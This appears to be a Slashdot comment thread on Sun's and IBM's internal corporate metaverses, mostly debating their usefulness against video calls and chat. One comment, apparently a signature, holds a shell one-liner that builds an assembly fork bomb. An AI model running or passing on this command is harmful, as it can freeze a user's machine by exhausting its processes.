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IBM and Sun Launch Intranet Metaverses
wjamesau writes "Sun and IBM have launched intranet metaverses designed for business and built to work behind their corporate firewalls, so their worldwide employees can use them to collaborate together. Most interesting to game developers, IBM (which also runs a private, no public access Second Life island as a development lab) created their intranet world from the 3D Torque engine from Garage Games. Will the metaverse actually be thousands of gated community metaverses?"
This is the worst fucking idea ever.
Check out http://www.opencroquet.org/index.php/Main_Page
Open source and well funded, based on Squeak Smalltalk.
Will the metaverse actually be thousands of gated community metaverses?
No, that's just silly. A metaverse will be a single line of the first metapoem.
They've leveraged forces to combine synergies to collaboratively multitask new paradigms for shitcanning their entire US work force.
Do you even lift?
These aren't the 'roids you're looking for.
I mean, why spend all that time building your altered reality avatar, the altered reality objects for demoing etc. (they show sun objects in one of the video demos)... why spend all that time navigating around a virtual world (which has to be built) and doing things in the virtual space when really you should be actually working?
I work from home every couple of weeks, and really the biggest thing I would like is a live video link to the colleges I most often talk to, having to break from working to go into a virtual world to talk to colleges is just such crud.
They show their 'virtual boardroom', which has video streams from other locations. Why bother with the virtual boardroom at all? What's wrong with just having video feeds?
Urgh... this is almost doing something for doing something's sake, without actually considering how useful it really is.
Not really. They ARE going to play games on company time. At least this way the employer can sort of put a cap on it. ( And freeze your avatar when you are behind on a deadline )
"Will the metaverse actually be thousands of gated community metaverses?"
I sure hope not. If the Stephensonian concept of a Metaverse were ever to take off in full cyberpunk force--VR goggles, gloves, and fiber lines in all glory--I sure don't want it to be a community of gated communities.
The entire idea of a Metaverse embolized existentialist absurdity: the idea of an "unending avenue of lights," 24 hours a day, is supposed to suspend reality. We're supposed to make this irrational and, frankly, just have fun with it.
For the thousands who don't work for IBM, Sun, or have some other connections, a gated Metaverse will be a bad place and waste of time. Not everyone (especially those who have few friends in real life) will have these connections. A Metaverse could be the perfect place to interact and meet others who want nothing else to do but relax and enjoy a little digital vice. This triumphs over EQ or WoW because you DON'T have a goal: it's not competitive and you can just relax.
In short: a filfilling Metaverse could be a great place for the (bored/lonely/connectionless/antisocial). Making it a world of gated communities will only make it some fancy social party.
http://en.wikipedia.org/wiki/Metaverse
I will use Google and Wikipedia before asking stupid questions.
I will use Google and Wikipedia before asking stupid questions.
I will use Google and Wikipedia before asking stupid questions.
Metaverses are an important paradigm in the post Web 2.0 era, taking advantage of the wisdom of crowds and allowing open sourcing of ideas. And furries can yiff in them too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Sun doesn't work like that. The corporate culture is not one of zero sum economics. They don't think they have to conquer the market like an effective short french general to somehow "win". Their bread and butter is making new markets and serving customer needs better in existing markets.
How we know is more important than what we know.
The CB App. What's your 20?
Sun and IBM are not collaborating on this. Sun is using its Darkstar gaming server to deliver Menlo Park 2.0. IBM is using a private island in Second Life. No connection - just a similar initiative.
Zen tips: Pay attention. Don't take it personally. Believe nothing.
Maybe it's inevitable that the metaverse will start off as individual islands. Look at the history of computer networks - they started off as individual LANs, then people started bolting on wide-area connectivity through the phone network, and then after a great deal of work you get to something like ARPAnet circa 1977 with its disparate links to military, commercial and educational sites. And then it takes another 15 or 20 years to get to the point where an average PC user can easily get connected and Do Something Useful on the Internet.
:)
Since the usefulness of networks is directly related to the number of users connected to them, it makes sense that eventually these isolated corporate worlds will set up interconnections, bridges, tunnels, whatever to let people wander back and forth. And eventually there will be public interfaces, and inter-world-networks.
I see Sun + IBM's work on this and Second Life and World of Warcraft and all the other current worlds as something akin to old information services like CompuServe or GEnie or Delphi. Eventually they'll come to their senses and allow greater interconnectivity, and once the protocols get standardized, they'll end up selling different add-ons or levels of service or GUIs for your metaverse experience. WoW may be selling awesome fantasy-style avatars and Blizzard goodies for PvE/PvP games, and IBM may be selling four- or five-nines reliability and excellent customer service.
Of course, I'll be 65 years old by then and will *still* get my butt kicked by random 13-year-olds in deathmatches.
"We can categorically state that we have not released man-eating badgers into the area." - Major Mike Shearer, UK
Send them an email
I'm sure people said "We don't need email, just call them on the phone!".
call somebody on the phone
I'm sure people said "We don't need phones, just write them a letter!".
Write them a letter
I'm sure people said (gestured:)?) "We don't need to write letters, just stay in our hunter-gatherer band!"
While I don't want to imply that Second Life is the next communication revolution, I do want you to notice the trend. Just because something exists that can accomplish roughly the same thing, doesn't mean it won't kick the other one's ass.
It's called progress, buddy, and it's telescoping, whether you like it or not.
If you've ever played Second Life, then you know that it's really a fancy chat room. IBM, and lots of other companies, run on Sametime (IBM's Lotus branded chat program, works pretty much like AIM or any other chat program).
I'm not surprised that there's a new chat-room product built like Second Life. I just wonder if it meets the business requirements as well as or better than the chat program we already use.
Fascism trolls keeping me up every night. When I starts a preachin', he HITS ME WITH HIS REICH!